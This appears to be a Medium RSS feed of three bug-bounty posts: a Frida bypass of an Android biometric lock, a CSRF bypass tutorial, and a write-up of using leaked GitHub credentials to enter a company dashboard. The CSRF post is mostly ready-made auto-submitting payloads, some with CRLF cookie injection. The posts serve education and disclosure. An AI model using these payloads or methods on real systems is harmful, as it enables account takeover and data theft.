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        <title><![CDATA[Stories by 4bd0_m4g3d on Medium]]></title>
        <description><![CDATA[Stories by 4bd0_m4g3d on Medium]]></description>
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            <title><![CDATA[How a Biometric App Lock Was Reduced to a Single Callback $$$]]></title>
            <link>https://0x4bdo.medium.com/how-a-biometric-app-lock-was-reduced-to-a-single-callback-dd85d991978e?source=rss-10a7a05e0129------2</link>
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            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[android]]></category>
            <dc:creator><![CDATA[4bd0_m4g3d]]></dc:creator>
            <pubDate>Tue, 09 Jun 2026 14:46:15 GMT</pubDate>
            <atom:updated>2026-06-09T14:46:15.700Z</atom:updated>
            <content:encoded><![CDATA[<h3>I Bypassed a Biometric App Lock With a Frida Script</h3><p>Most users see a biometric lock screen and assume their data is protected.</p><p>A fingerprint prompt appears. The operating system asks for authentication. The app refuses to continue until the user verifies their identity.</p><p>Everything looks secure.</p><p>That’s exactly what I thought when I started analyzing the App Lock feature of a financial application during a mobile security assessment.</p><p>A few hours later, I was staring at an unlocked application that had never received a fingerprint scan.</p><h3>The Initial Assumption</h3><p>The application offered an optional App Lock feature that could be enabled from the security settings.</p><p>Once enabled, reopening the application would display Android’s biometric prompt before granting access.</p><p>From a user’s perspective, everything behaved exactly as expected.</p><p>Close the app.</p><p>Open it again.</p><p>Authenticate with your fingerprint.</p><p>Continue using the app.</p><p>Nothing seemed unusual.</p><p>But security assessments are rarely about what happens when everything works correctly. They’re about understanding what the application actually trusts.</p><p>So I opened JADX and started tracing the authentication flow.</p><h3>The Line That Caught My Attention</h3><p>Eventually I reached the code responsible for displaying the biometric prompt.</p><p>The implementation looked surprisingly simple:</p><pre>BiometricPrompt biometricPrompt = new BiometricPrompt(<br>    this,<br>    mainExecutor,<br>    new BiometricPromptAuthenticationCallback()<br>);</pre><pre>biometricPrompt.authenticate(promptInfo);</pre><p>At first glance, there was nothing obviously wrong.</p><p>The application was using Android’s official BiometricPrompt API.</p><p>But one detail stood out.</p><p>There was no CryptoObject.</p><p>That may sound insignificant, but it completely changes the security model.</p><p>Applications that want strong biometric protection typically bind authentication to a cryptographic operation. In other words, even after biometric authentication succeeds, the application still needs proof in the form of a successful cryptographic action.</p><p>Here, none of that existed.</p><p>The application was simply asking Android to show a biometric prompt and then trusting whatever result came back.</p><p>That made me curious.</p><p>What exactly happened after authentication succeeded?</p><h3>Following the Rabbit Hole</h3><p>I continued tracing the code.</p><p>The flow was remarkably straightforward.</p><p>A successful authentication callback triggered a success result.</p><p>That success result was processed.</p><p>The lock screen closed.</p><p>The application unlocked.</p><p>No decryption.</p><p>No cryptographic verification.</p><p>No secure key usage.</p><p>Nothing.</p><p>The entire trust decision ultimately depended on a callback:</p><pre>onAuthenticationSucceeded(...)</pre><p>The moment I realized that, a question immediately came to mind.</p><p>What would happen if that callback were called manually?</p><h3>Building a Quick Test</h3><p>Rather than modifying the APK, I decided to use Frida.</p><p>My goal wasn’t to bypass Android’s biometric framework.</p><p>I simply wanted to see how much trust the application placed in its callback.</p><p>The idea was straightforward:</p><p>Intercept the biometric prompt.</p><p>Capture the authentication callback.</p><p>Trigger the success callback manually.</p><p>Observe the result.</p><p>The script wasn’t particularly complicated.</p><p>When the application created its BiometricPrompt instance, I captured and retained the callback object.</p><pre>capturedCb = Java.retain(cb);</pre><p>Then I hooked the authentication method itself.</p><p>Whenever the application requested biometric authentication, instead of allowing the normal flow to continue, I triggered:</p><pre>cb.onAuthenticationSucceeded(result);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QIw6lYqnPbJcHlhpzfUNSQ.png" /></figure><p>directly from Frida.</p><p>No fingerprint.</p><p>No face scan.</p><p>Just a callback invocation.</p><p>I honestly expected some additional validation step to fail.</p><p>Maybe a cryptographic check.</p><p>Maybe a secondary verification mechanism.</p><p>Maybe an exception somewhere deeper in the code.</p><p>Instead, something much simpler happened.</p><p>The application unlocked.</p><h3>The Moment It Worked</h3><p>There’s always a moment during testing when a theory stops being a theory.</p><p>For me, that moment happened after launching the application with Frida attached.</p><p>I sent the application to the background.</p><p>Opened it again.</p><p>The biometric prompt appeared.</p><p>And then instantly disappeared.</p><p>The application unlocked itself.</p><p>No biometric interaction ever occurred.</p><p>No fingerprint sensor was touched.</p><p>The operating system never authenticated me.</p><p>Yet the application behaved exactly as if authentication had succeeded.</p><p>I repeated the test several times.</p><p>The result was identical every time.</p><p>At that point the issue was no longer hypothetical.</p><p>The App Lock feature could be bypassed because the application trusted the callback itself rather than a cryptographic proof of authentication.</p><h3>Why the Bypass Worked</h3><p>The root cause wasn’t a bug in Android.</p><p>It wasn’t a weakness in biometric authentication.</p><p>And it wasn’t a vulnerability in the biometric framework.</p><p>The problem was much simpler.</p><p>The application treated:</p><pre>onAuthenticationSucceeded(...)</pre><p>as proof that authentication had happened.</p><p>But a callback is merely a notification.</p><p>It is not evidence.</p><p>If an attacker can trigger that notification manually, and the application performs no additional verification, then the callback effectively becomes the security boundary.</p><p>In this case, that boundary was surprisingly easy to cross.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z1KD1B4rLF3edGBKo33IyQ.png" /></figure><h3>Responsible Disclosure</h3><p>After confirming the issue, I submitted a report describing how the biometric App Lock could be bypassed by directly triggering the authentication callback without any cryptographic verification.</p><p>The security team validated the finding and awarded a bounty for the report.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e8Wb2IJlMF8Yzuia0L3ZZA.png" /></figure><h3>Impact</h3><p>An attacker with the ability to instrument the application could completely bypass the biometric App Lock and gain access to information protected by the feature without providing a fingerprint or any legitimate biometric authentication.</p><p>The issue existed because the unlock decision trusted a callback rather than a cryptographic proof of authentication.</p><h3>Conclusion</h3><p>The biometric prompt itself was not vulnerable.</p><p>The problem was that the application treated a successful callback as proof of identity.</p><p>By triggering that callback directly, the entire App Lock mechanism could be bypassed.</p><p>A single missing CryptoObject turned a security control into a UI check.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dd85d991978e" width="1" height="1" alt="">]]></content:encoded>
        </item>
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            <title><![CDATA[Mastering CSRF Bypasses Like a Pro]]></title>
            <link>https://0x4bdo.medium.com/mastering-csrf-bypasses-like-a-pro-7f6bc194177a?source=rss-10a7a05e0129------2</link>
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            <category><![CDATA[csrf-bypass]]></category>
            <category><![CDATA[csrf-protection]]></category>
            <category><![CDATA[csrf-token]]></category>
            <category><![CDATA[csrf]]></category>
            <category><![CDATA[csrf-attack]]></category>
            <dc:creator><![CDATA[4bd0_m4g3d]]></dc:creator>
            <pubDate>Sat, 22 Feb 2025 17:33:17 GMT</pubDate>
            <atom:updated>2025-02-22T17:33:17.704Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FnlhvmBke_Zv9AYv.jpg" /></figure><p><em>Hi, I’m Abdo Maged, a bug hunter with 9 months of experience in identifying and reporting security vulnerabilities.</em></p><h3>lets gooo!!</h3><p>Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. It allows an attacker to partly circumvent the same origin policy, which is designed to prevent different websites from interfering with each other.</p><p>For a CSRF attack to be possible, three key conditions must be in place:</p><p><strong>A relevant action</strong> There is an action within the application that the attacker has a reason to induce. This might be a privileged action (such as modifying permissions for other users) or any action on user-specific data (such as changing the user’s own password).</p><ul><li><strong>Cookie-based session handling</strong>. Performing the action involves issuing one or more HTTP requests, and the application relies solely on session cookies to identify the user who has made the requests. There is no other mechanism in place for tracking sessions or validating user requests.<br>- <strong>No unpredictable request parameters</strong>. The requests that perform the action do not contain any parameters whose values the attacker cannot determine or guess. For example, when causing a user to change their password, the function is not vulnerable if an attacker needs to know the value of the existing password.</li></ul><p>Although CSRF is normally described in relation to cookie-based session handling, it also arises in other contexts where the application automatically adds some user credentials to requests, such as HTTP Basic authentication and certificate-based authentication.</p><ul><li><strong>Basic Payload to automatically submit the request when the web page opens.</strong></li></ul><pre>&lt;html&gt;<br> &lt;body&gt;<br> &lt;form action=&quot;https://vulnerable-website.com/email/change&quot; method=&quot;POST&quot;&gt;<br> &lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;pwned@evil-user.net&quot; /&gt;<br> &lt;/form&gt;<br> &lt;script&gt;<br> document.forms[0].submit();<br> &lt;/script&gt;<br> &lt;/body&gt;<br> &lt;/html&gt;</pre><p><strong>Testing CSRF</strong></p><p><strong>Base Steps:</strong></p><p><strong>markdown</strong><br>1. Select a request anywhere in Burp Suite Professional that you want to test or exploit.<br>2. From the right-click context menu, select Engagement tools / Generate CSRF PoC.<br>3. Burp Suite will generate some HTML that will trigger the selected request (minus cookies, which will be added automatically by the victim’s browser).<br>4. You can tweak various options in the CSRF PoC generator to fine-tune aspects of the attack. You might need to do this in some unusual situations to deal with quirky features of requests.<br>5. Copy the generated HTML into a web page, view it in a browser that is logged in to the vulnerable web site, and test whether the intended request is issued successfully and the desired action occurs.<br>```</p><p><strong>Bypass Method </strong>-1 : Change the request method `POST` → `GET`</p><p><strong>markdown</strong><br>Test Case: Validation of CSRF token depends on request method</p><ol><li>Interect with functionality and intercept the request.</li><li>Send this requets to repeater and right click change request method</li><li>Remove any csrf param and genrate csrf poc</li><li>Edit according to your preference,For example:</li></ol><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br> &lt;! - CSRF PoC - generated by Burp Suite i0 SecLab plugin →<br>&lt;body&gt;<br> &lt;form method=&quot;GET&quot; action=&quot;https://ac591fd21f4ab3d2807a1b1d0007000d.web-security-academy.net:443/email/change-email?email=natsu%40natsu.com&quot;&gt;<br> &lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;natsu@natsu.com&quot;&gt;<br> &lt;/form&gt;<br>&lt;script&gt;<br> document.forms[0].submit();<br> &lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>5. <strong>Done send this to victim.</strong></p><p>Bypass Method — 2: Remove csrf param from `POST` request.</p><p><strong>markdown</strong></p><p>Test Case: Validation of CSRF token depends on token being present</p><p>1. Interect with functionality and intercept the request.<br>2. Send this requets to repeater.<br>3. Remove any csrf param and generate csrf poc<br>4. Edit according to your preference,For example:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br> &lt;! - CSRF PoC - generated by Burp Suite i0 SecLab plugin →<br>&lt;body&gt;<br> &lt;form method=&quot;POST&quot; action=&quot;https://ac8a1fbd1e6d76ae806817f900d50032.web-security-academy.net:443/email/change-email&quot;&gt;<br> &lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;natsu@natsu.com&quot;&gt;<br> &lt;/form&gt;<br>&lt;script&gt;<br> document.forms[0].submit();<br> &lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>5. Done send this to victim.<br>```</p><p>Bypass Method — 3: Feed your own account generated CSRF token in attack.</p><p><strong>markdown</strong><br>Test Case: CSRF token is not tied to the user session.</p><p>1. Interect with functionality and intercept the request.<br>2. Right click generate csrf poc.<br>3. Copy the code in a file.html remove any session token<br>4. Drop the request.<br>5. Send the file.html to victim.</p><p>Example CSRF Code:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br> &lt;! - CSRF PoC - generated by Burp Suite i0 SecLab plugin →<br>&lt;body&gt;<br> &lt;form method=&quot;POST&quot; action=&quot;https://acd81f251e0c762980c31ae600c70041.web-security-academy.net:443/email/change-email&quot;&gt;<br> &lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;natsu@natsu.com&quot;&gt;<br> &lt;input type=&quot;text&quot; name=&quot;csrf&quot; value=&quot;NqdmYFyfHgQl8JWLKd7YTOC24Tqdedpw&quot;&gt;<br> &lt;/form&gt;<br>&lt;script&gt;<br> document.forms[0].submit();<br> &lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>Bypass Method — 4 : Chain any other vulnerability to add your cookie for example `XSS`, `CRLF` → `CSRF`</p><p><strong>markdown</strong><br>Test Case — 1 : CSRF token is tied to a non-session cookie, when we have two csrf token one in cookie and other in the functionality this is due to presence of two framework one for session handling and one for CSRF protection, which are not integrated together.<br> The cookie-setting behavior does not even need to exist within the same web application as the CSRF vulnerability. Any other application within the same overall DNS domain can potentially be leveraged to set cookies in the application that is being targeted, if the cookie that is controlled has suitable scope. For example, a cookie-setting function on staging.demo.normal-website.com could be leveraged to place a cookie that is submitted to secure.normal-website.com.</p><p>1. Find any vulnerability which allow you to inject something in the cookie of victim.<br>2. Test if CSRF token is tied to session id (try changing session id keeping everything as it is))<br>3. Check if the your csrf token works when replaced in victims request<br>4. Lastly check if you can inject CRLF and change csrf cookie value<br>5. Done now make a csrf poc with xss payload which execute crlf and send this poc to victim</p><p>Example CSRF Code:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br> &lt;! - CSRF PoC - generated by Burp Suite i0 SecLab plugin →<br>&lt;body&gt;<br> &lt;form method=&quot;POST&quot; action=&quot;https://ac981fc81ee9f58b80984ae400200076.web-security-academy.net:443/my-account/change-email&quot;&gt;<br> &lt;input type=&quot;text&quot; name=&quot;csrfKey&quot; value=&quot;ntq9GTrV4JhtLaX07sqTnMpOHwMGpaX9&quot;&gt;<br> &lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;hehe@hehe.com&quot;&gt;<br> &lt;input type=&quot;text&quot; name=&quot;csrf&quot; value=&quot;6EU5SJ9YKzfOsq9rNgDR8toGy0TKSw81&quot;&gt;<br> &lt;input type=&quot;submit&quot; value=&quot;Send&quot;&gt;<br> &lt;/form&gt;<br>&lt;img src=&quot;http://ac981fc81ee9f58b80984ae400200076.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=ntq9GTrV4JhtLaX07sqTnMpOHwMGpaX9&quot; onerror=&quot;document.forms[0].submit()&quot;&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>Test Case — 2 : CSRF token is simply duplicated in a cookie, here csrf token value can be anything just need to be same in cookie as wells as param.</p><p>1. Intercept and action and try changing csrf token in both cookie and param<br>2. Make similar poc as above but this time put same csrf token in crlf payload and request param.<br>3. Done, Send it to victim.</p><p>Example CSRF POC:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br> &lt;! - CSRF PoC - generated by Burp Suite i0 SecLab plugin →<br>&lt;body&gt;<br> &lt;form method=&quot;POST&quot; action=&quot;https://ac071f601e8dc74380609c1d000900b3.web-security-academy.net:443/my-account/change-email&quot;&gt;<br> &lt;input type=&quot;text&quot; name=&quot;csrf&quot; value=&quot;K5r92qL9pGzpC2joPMkqgBSY1GG3eo6I&quot;&gt;<br> &lt;input type=&quot;text&quot; name=&quot;session&quot; value=&quot;xdCFpxBe1M0MHvk0DmFuzCRlImMgdxZk&quot;&gt;<br> &lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;natsu@natsu.com&quot;&gt;<br> &lt;input type=&quot;text&quot; name=&quot;csrf&quot; value=&quot;fake&quot;&gt;<br> &lt;input type=&quot;submit&quot; value=&quot;Send&quot;&gt;<br> &lt;/form&gt;<br>&lt;img src=&quot;http://ac071f601e8dc74380609c1d000900b3.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake&quot; onerror=&quot;document.forms[0].submit()&quot;&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><h4>Bypass Method — 5 : Delete the Referrer Header Completely or Suppress it.</h4><p>markdown<br>Test Case: CSRF where Referer validation depends on header being present.</p><p>1. Intercept the request and try changing referer to some other domain.<br>2. If that didn’t work then you will have to suppress the refere header.<br>3. you can use `&lt;meta name=”referrer” content=”no-referrer”&gt;` or any other technique.<br>4. Done, Make a normal POC with that technique.</p><p>Example CSRF POC:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br> &lt;! - CSRF PoC - generated by Burp Suite i0 SecLab plugin →<br>&lt;body&gt;<br> &lt;form method=&quot;POST&quot; action=&quot;https://ac6d1fe21fb2a0c7809510e7001c006c.web-security-academy.net:443/my-account/change-email&quot;&gt;<br> &lt;input type=&quot;text&quot; name=&quot;session&quot; value=&quot;S4dyJbRWg1IqEpZlPkhICE5vJQhnv6ve&quot;&gt;<br> &lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;hola@hola.com&quot;&gt;<br>&lt;meta name=&quot;referrer&quot; content=&quot;no-referrer&quot;&gt;<br> &lt;/form&gt;<br>&lt;script&gt;<br> document.forms[0].submit();<br> &lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>```</p><h3>Bypass Method — 6 : Try [attacker.com](http://attacker.com) or similar payload in referer header. (Validation of Referer can be circumvented)</h3><p>markdown<br>Test case: CSRF with broken Referer validation</p><ol><li>Intercept the request and try changing referer to some other domain. (Check all cases how it is been verified)</li><li>Now Generate a normal POC and include any JavaScript in the script block to alter the URL and Referer</li><li>Done Send it to victim.</li></ol><p>Example CSRF POC:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br> &lt;! - CSRF PoC - generated by Burp Suite i0 SecLab plugin →<br>&lt;body&gt;<br> &lt;form method=&quot;POST&quot; action=&quot;https://ac761f621f79d75680e4054c00160033.web-security-academy.net:443/my-account/change-email&quot;&gt;<br> &lt;input type=&quot;text&quot; name=&quot;session&quot; value=&quot;rk13v2KYDFByO0OFL0xnHcnIVZbvAHNg&quot;&gt;<br> &lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;gg@gg.com&quot;&gt;<br> &lt;input type=&quot;submit&quot; value=&quot;Send&quot;&gt;<br> &lt;/form&gt;<br>&lt;script&gt;<br> history.pushState(&quot;&quot;, &quot;&quot;, &quot;/?ac761f621f79d75680e4054c00160033.web-security-academy.net&quot;)<br> document.forms[0].submit();<br> &lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>```</p><h3>Bypass Method — 7: Send `null` value in csrf token.</h3><h4>markdown<br>Test Case: Validation of CSRF token depends on token value being</h4><p>1. Interect with functionality and intercept the request.<br>2. Send this requets to repeater.<br>3. Add null csrf param and generate csrf poc<br>4. Edit according to your preference,For example:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br> &lt;! - CSRF PoC - generated by Burp Suite i0 SecLab plugin →<br>&lt;body&gt;<br> &lt;form method=&quot;POST&quot; action=&quot;https://ac8a1fbd1e6d76ae806817f900d50032.web-security-academy.net:443/email/change-email&quot;&gt;<br> &lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;natsu@natsu.com&quot;&gt;<br> &lt;/form&gt;<br>&lt;script&gt;<br> document.forms[0].submit();<br> &lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>5. Done send this to victim.<br>```</p><p><strong># Mitigation</strong></p><p>- Defending against CSRF with SameSite cookies<br> <br> — The `<strong>SameSite</strong>` attribute can be used to control whether and how cookies are submitted in cross-site requests. By setting the attribute on session cookies, an application can prevent the default browser behavior of automatically adding cookies to requests regardless of where they originate.<br> <br> — The `SameSite` attribute is added to the `Set-Cookie` response header when the server issues a cookie, and the attribute can be given two values, `Strict` or `Lax`. For example:<br> <br> `SetCookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Strict;`<br> <br> `SetCookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Lax;`<br> <br> — If the `SameSite` attribute is set to `Strict`, then the browser will not include the cookie in any requests that originate from another site. This is the most defensive option, but it can impair the user experience, because if a logged-in user follows a third-party link to a site, then they will appear not to be logged in, and will need to log in again before interacting with the site in the normal way.<br> <br> — If the `SameSite` attribute is set to `Lax`, then the browser will include the cookie in requests that originate from another site but only if two conditions are met:<br> <br> — The request uses the GET method. Requests with other methods, such as POST, will not include the cookie.<br> — The request resulted from a top-level navigation by the user, such as clicking a link. Other requests, such as those initiated by scripts, will not include the cookie.<br> <br> — Using `SameSite` cookies in `Lax` mode does then provide a partial defense against CSRF attacks, because user actions that are targets for CSRF attacks are often implemented using the POST method. Two important caveats here are:<br> <br> — Some applications do implement sensitive actions using GET requests.<br> — Many applications and frameworks are tolerant of different HTTP methods. In this situation, even if the application itself employs the POST method by design, it will in fact accept requests that are switched to use the GET method.<br> <br> For the reasons described, it is not recommended to rely solely on SameSite cookies as a defense against CSRF attacks. Used in conjunction with [CSRF tokens](<a href="https://portswigger.net/web-security/csrf/tokens">https://portswigger.net/web-security/csrf/tokens</a>), however, SameSite cookies can provide an additional layer of defense that might mitigate any defects in the token-based defenses.<br> <br>- Using CSRF Token<br> <br> The most robust way to defend against CSRF attacks is to include a [CSRF token](<a href="https://portswigger.net/web-security/csrf/tokens">https://portswigger.net/web-security/csrf/tokens</a>) within relevant requests. The token should be:<br> <br> — Unpredictable with high entropy, as for session tokens in general.<br> — Tied to the user’s session.<br> — Strictly validated in every case before the relevant action is executed.</p><h3>Reference</h3><p>[<strong>Top 25 CSRF Bug Bounty Reports</strong>](<a href="https://corneacristian.medium.com/top-25-csrf-bug-bounty-reports-ffb0b61afa55">https://corneacristian.medium.com/top-25-csrf-bug-bounty-reports-ffb0b61afa55</a>)</p><p>[<strong>What is CSRF (Cross-site request forgery</strong>)? Tutorial &amp; Examples | Web Security Academy](<a href="https://portswigger.net/web-security/csrf">https://portswigger.net/web-security/csrf</a>)</p><h3>- Checklist</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/0*OG_ibIOEQdh2xY1e" /></figure><h3>&gt; MindMap</h3><p>CSRF Bypass</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/0*P4Q1yl5uVLixyuM4" /></figure><p>another mind map</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*06dvZF_lfkSjGaFr" /></figure><p><strong>Cross Site Request Forgery(CSRF) bybass</strong></p><p>Csrf will be login, logout, resetpass, change password, add-cart, like, comment, profie change, user details change, blance transffer, subscription ect<br>```<br>-Change Request Method [POST =&gt; GET]</p><p>-Remove Total Token Parameter</p><p>-Remove The Token, And Give a Blank Parameter</p><p>-Copy a Unused Valid Token , By Dropping The Request and Use That Token</p><p>-Use Own CSRF Token To Feed it to Victim</p><p>-Replace Value With Of A Token of Same Length</p><p>-Reverse Engineer The Token</p><p>-Extract Token via HTML injection</p><p>-Switch From Non-Form `Content-Type: application/json` or `Content-Type: application/x-url-encoded` To `Content-Type: form-multipart`</p><p>-Change/delete the last or frist character from the token</p><p>-Change referrer to Referrer</p><p>-Bypass the regex<br> If the site is looking for “bank.com” in the referer URL, maybe “bank.com.attacker.com” or “attacker.com/bank.com” will work.<br> <br>-Remove the referer header (add this &lt;meta name=”referrer” content=”no-referrer”&gt; in your payload or html code)</p><p>-Clickjacking</p><p>(If you aren’t familiar with clickjacking attacks, more information can be found <a href="https://owasp.org/www-community/attacks/Clickjacking">https://owasp.org/www-community/attacks/Clickjacking</a>.)<br> Exploiting clickjacking on the same endpoint bypasses all CSRF protection. Because technically, the request is indeed originating from the legitimate site. If the page where the vulnerable endpoint is located on is vulnerable to clickjacking, all CSRF protection will be rendered irrelevant and you will be able to achieve the same results as a CSRF attack on the endpoint, albeit with a bit more effort.</p><h3><em>References &gt;</em></h3><p>[<strong>Medium Writeup</strong>](https://medium.com/swlh/intro-to-csrf-cross-site-request-forgery-9de669df03de)</p><p>[<strong>Medium Writeup</strong>](<a href="https://medium.com/swlh/attacking-sites-using-csrf-ba79b45b6efe">https://medium.com/swlh/attacking-sites-using-csrf-ba79b45b6efe</a>)</p><p>[<strong>Medium Writeup</strong>](<a href="https://medium.com/swlh/bypassing-csrf-protection-c9b217175ee">https://medium.com/swlh/bypassing-csrf-protection-c9b217175ee</a>)</p><p>والسَلآْم عَلْيُكّمٌ وٍرٍحَمُةّ الله وٍبُرٍكآتُهْ</p><p>Contact Me</p><p>facebook : <a href="https://www.facebook.com/profile.php?id=100014962988014">https://www.facebook.com/profile.php?id=100014962988014</a></p><p>linkdin → <a href="https://www.linkedin.com/in/abdo-maged-88a72a269?utm_source=share&amp;utm_campaign=share_via&amp;utm_content=profile&amp;utm_medium=android_app">https://www.linkedin.com/in/abdo-maged-88a72a269?utm_source=share&amp;utm_campaign=share_via&amp;utm_content=profile&amp;utm_medium=android_app</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7f6bc194177a" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[FROM Hardcoded Credentials Exposure — To Full Dashboard Access]]></title>
            <link>https://0x4bdo.medium.com/from-hardcoded-credentials-exposure-to-full-dashboard-access-1463015695db?source=rss-10a7a05e0129------2</link>
            <guid isPermaLink="false">https://medium.com/p/1463015695db</guid>
            <category><![CDATA[bug-hunting]]></category>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[pentester]]></category>
            <category><![CDATA[ethical-hacker]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[4bd0_m4g3d]]></dc:creator>
            <pubDate>Sun, 16 Feb 2025 01:38:40 GMT</pubDate>
            <atom:updated>2025-02-16T01:39:21.700Z</atom:updated>
            <content:encoded><![CDATA[<h3>FROM Hardcoded Credentials Exposure — To Full Dashboard Access</h3><p>عُدْنــا والعَـوْدُ أحْمَـدُ</p><p>This bug was discovered With my friend, <a href="https://medium.com/u/c6431d65a6c5">abdelrahem mekky</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*5GjfonEqZ8OuJI9XK8OHPQ.png" /></figure><h3>Starting</h3><p>During a routine security assessment, I focused on uncovering exposed API keys or sensitive data in public GitHub repositories. What started as a simple reconnaissance process quickly escalated into full control over a company’s admin panel. This is how I did it.</p><h3>Part 1: Reconnaissance</h3><p>Step one : In Recon i Used Github Dorking</p><blockquote>Go to GitHub and search for the target domain, for example: test.com.<br>Then, start looking for any valuable information that could be useful as a bug hunter or penetration tester.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*22ZADrd12u32WCyTNMiXRA.png" /><figcaption>as you can see in section code only 3 result</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2ezf7zkawU9rUd7YQUHpFw.png" /><figcaption>Once we go to section code this first result</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dq55OL1pioxTDz6YPNYfzQ.png" /><figcaption>Boom!!!</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gLy4F4iId4tr2sY6jpWI8g.png" /><figcaption>Some admin Credentials</figcaption></figure><h3>Let’s explore how we can exploit these hardcoded credentials and verify if they are actually valid or not.</h3><h3>Step 2:<br>Now, I’ll start extracting subdomains and see how I can leverage them for further exploitation.</h3><p>I usually use a tool called SubEnum at this stage.</p><pre>./subenum -d test.com -r</pre><p>After running the tools, I reviewed the results and found a few interesting subdomains. One that caught my attention was clients.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XK7DGeqjd_-4P60ZtCW6sA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QUQjakVHIhXteaca0MF2xw.png" /></figure><p>Here, I tried entering the site ID, and it actually returned something related to that ID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VzScclF7s7qPCFJn_oBdZQ.png" /></figure><p>after That i Found Admin Panel</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*tkB6zPjTgDLgn8lTaZ6YPw.png" /></figure><p>After finding the login page and using the credentials I discovered, I successfully accessed the company’s dashboard.</p><p>As you can see, I now have access — so what can I do from here?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*voXIai4VQIgUATGl4_c0hg.png" /></figure><p>Luckily, the account I found has the highest privilege — it’s the GM</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/260/1*-zvhryw3dbt4Lt5KV1zU_g.png" /></figure><p>I was also able to escalate privileges from GM to Owner!!!!!!🔥</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*3jQZBkfmmfHf3clszjTpcg.png" /></figure><p>If you want to check anything else, you can watch the PoC video. 🎥</p><h3>Impact — The Consequences of This Vulnerability</h3><p>By leveraging the exposed credentials and misconfigurations, I gained unrestricted access to:</p><ul><li>The company’s admin panel.</li><li>Sensitive customer and employee data.</li><li>Business operations, including scheduling and management features.</li><li><strong>The company’s payment system</strong>, exposing financial records.</li><li>Over <strong>50,000 client records</strong>, including payment details and personal information.</li></ul><p>Had this vulnerability been exploited by a malicious actor, it could have led to severe data breaches, financial losses, and reputational damage.</p><h3>Mitigation — Securing the System</h3><p>To prevent such attacks, I recommended the following security measures:</p><ul><li><strong>Remove hardcoded credentials</strong> from all repositories.</li><li><strong>Rotate exposed credentials</strong> immediately and revoke compromised API keys.</li><li><strong>Use environment variables</strong> instead of embedding sensitive data in source code.</li><li><strong>Enable GitHub Secret Scanning</strong> or similar tools to detect future leaks.</li><li><strong>Implement Multi-Factor Authentication (MFA)</strong> to add an extra layer of security.</li></ul><h3>Conclusion</h3><p>This experience highlights the critical dangers of hardcoded credentials and poor access controls. Security isn’t just about fixing vulnerabilities — it’s about proactively implementing strong security practices to prevent future incidents. Organizations must take credential security seriously, as a single exposed password can lead to complete system compromise.</p><p>By responsibly reporting the issue, I ensured that this critical flaw was patched before it could be exploited by malicious attackers. This serves as a reminder that securing your infrastructure is just as important as building it.</p><p>You Can Veiw The Poc Video From Here →</p><iframe 